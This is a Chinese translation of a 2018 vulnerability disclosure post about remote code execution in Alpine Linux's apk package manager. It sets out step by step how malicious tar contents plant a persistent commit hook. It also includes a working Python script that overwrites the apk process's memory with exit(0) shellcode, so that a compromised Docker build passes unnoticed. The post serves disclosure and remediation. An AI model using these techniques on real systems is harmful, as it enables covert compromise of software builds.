Alpine Linux远程代码执行漏洞深度剖析

本文详细分析了Alpine Linux默认包管理器apk中的多个安全漏洞,重点介绍了通过网络中间人攻击实现任意代码执行的原理,包括利用tar提取机制和commit hooks特性实现持久化文件写入,并通过/proc/<pid>/mem修改内存实现优雅退出。

Alpine Linux中的远程代码执行漏洞

作者:Max Justicz
发布日期:2018年9月13日

摘要

我在Alpine Linux的默认包管理器apk中发现了多个漏洞。Alpine是一个极其轻量级的Linux发行版,在Docker环境中被广泛使用。其中最严重的一个漏洞(也是本文的主题)允许网络中间人攻击者(或恶意软件包镜像)在用户机器上执行任意代码。这个问题尤其严重,因为默认软件仓库的软件包传输不使用TLS加密。该漏洞已被修复,Alpine基础镜像也已更新——建议重新构建基于Alpine的镜像!

获得代码执行权限后,我找到了一种巧妙的方法(无需SYS_PTRACE权限)通过写入/proc/<pid>/mem使原始apk进程以0退出码退出。这样,即使在Dockerfile中通过apk安装软件包时遭受攻击,构建过程仍能成功完成。

以下是我作为网络中间人攻击基于Alpine的Docker容器的演示片段:

[视频演示链接]

漏洞详情

任意文件创建导致远程代码执行

Alpine软件包以.apk文件形式分发,这些文件实际上就是经过gzip压缩的tar包。当apk拉取软件包时,它会先将文件解压到根目录/下,然后才检查哈希值是否与签名清单中的值匹配。准确地说,在解压过程中,每个文件名和硬链接目标都会添加.apk-new后缀。之后,当apk发现下载的软件包哈希值不正确时,它会尝试删除所有已解压的文件和目录。

持久的任意文件写入很容易转化为代码执行,这得益于apk的"commit hooks"功能。如果我们能设法在清理过程后让一个文件保留在/etc/apk/commit_hooks.d/目录中,该文件将在apk退出前被执行。

通过控制下载的tar文件,我们可以创建持久的"commit hook",具体步骤如下:

  1. 在默认不存在的/etc/apk/commit_hooks.d/位置创建一个文件夹(解压的文件夹不会添加.apk-new后缀)
  2. 创建一个指向/etc/apk/commit_hooks.d/x的符号链接(例如命名为link),该链接会被扩展为link.apk-new,但仍指向/etc/apk/commit_hooks.d/x
  3. 创建一个名为link的普通文件(也会被扩展为link.apk-new),这会通过符号链接在/etc/apk/commit_hooks.d/x处创建文件
  4. 当apk发现软件包哈希与签名索引不匹配时,它会先取消链接link.apk-new——但/etc/apk/commit_hooks.d/x会保留!然后由于目录中现在包含我们的有效载荷,尝试取消链接/etc/apk/commit_hooks.d/时会失败并返回ENOTEMPTY错误

修复退出码

既然我们可以在apk退出前在客户端上运行任意代码,那么找到一种让apk进程优雅退出的方法就非常重要。如果在Dockerfile构建步骤中使用apk,当apk返回非零退出码时,该步骤将失败。

如果我们什么都不做,apk将返回一个等于安装失败软件包数量的退出码(现在至少为1)。有趣的是,这个值可能会溢出——如果错误数量% 256 == 0,进程将以退出码0返回,构建将会成功(这个问题在此处已被修复)。

我的第一次尝试是使用gdb附加到进程并直接调用exit(0)。不幸的是,Docker容器默认没有SYS_PTRACE权限,因此无法这样做。但由于我们是root用户,可以读写apk进程的/proc/<pid>/mem

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import subprocess
import re

pid = int(subprocess.check_output(["pidof", "apk"]))

print("\033[92mapk pid is {}\033[0m".format(pid))

maps_file = open("/proc/{}/maps".format(pid), 'r')
mem_file = open("/proc/{}/mem".format(pid), 'w', 0)

print("\033[92mEverything is fine! Please move along...\033[0m")

NOP = "90".decode("hex")

# xor rdi, rdi ; mov eax, 0x3c ; syscall
shellcode = "4831ffb83c0000000f05".decode("hex")

# based on https://unix.stackexchange.com/a/6302
for line in maps_file.readlines():
    m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)
    start = int(m.group(1), 16)
    end = int(m.group(2), 16)

    if "apk" in line and "r-xp" in line:
        mem_file.seek(start)
        nops_len = end - start - len(shellcode)
        mem_file.write(NOP * nops_len)
        mem_file.write(shellcode)

maps_file.close()
mem_file.close()

我们的操作步骤:

  1. 使用pidof找到apk进程的PID
  2. 使用/proc/<pid>/maps找到进程的可执行内存
  3. 直接将最终会调用exit(0)的shellcode写入内存

令人惊讶的是,这种方法居然有效!我原本预期写入操作会失败。

当我们的commit hook退出后apk恢复执行时,它将运行我们的shellcode。

结论

如果您在生产环境中使用Alpine Linux,您应该:1. 重新构建您的镜像;2. 考虑向开发人员捐款。apk似乎主要由一位开发人员维护,他在不到一周的时间内修复了这个漏洞。Alpine的主要维护者随后很快发布了新版本。

作者说明

可能有数百家在生产环境中使用Alpine Linux的组织受到这个漏洞的影响。其中一些组织几乎肯定设有漏洞赏金计划,如果类似的漏洞是由他们自己的开发人员编写的,他们会慷慨支付赏金。如果漏洞赏金计划的目的是帮助保护组织安全,那么依赖项中的关键漏洞在某种程度上也应该符合条件吧?

这就是我上个月推出BountyGraph的原因。BountyGraph为重要依赖项提供众筹漏洞赏金计划的机制。希望您能查看一下!

联系方式

Max Justicz
邮箱:max@justi.cz
Mastodon:mastodon.mit.edu/@maxj

我会在仅发布几篇文章后就放弃这个博客吗?敬请关注,拭目以待!

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计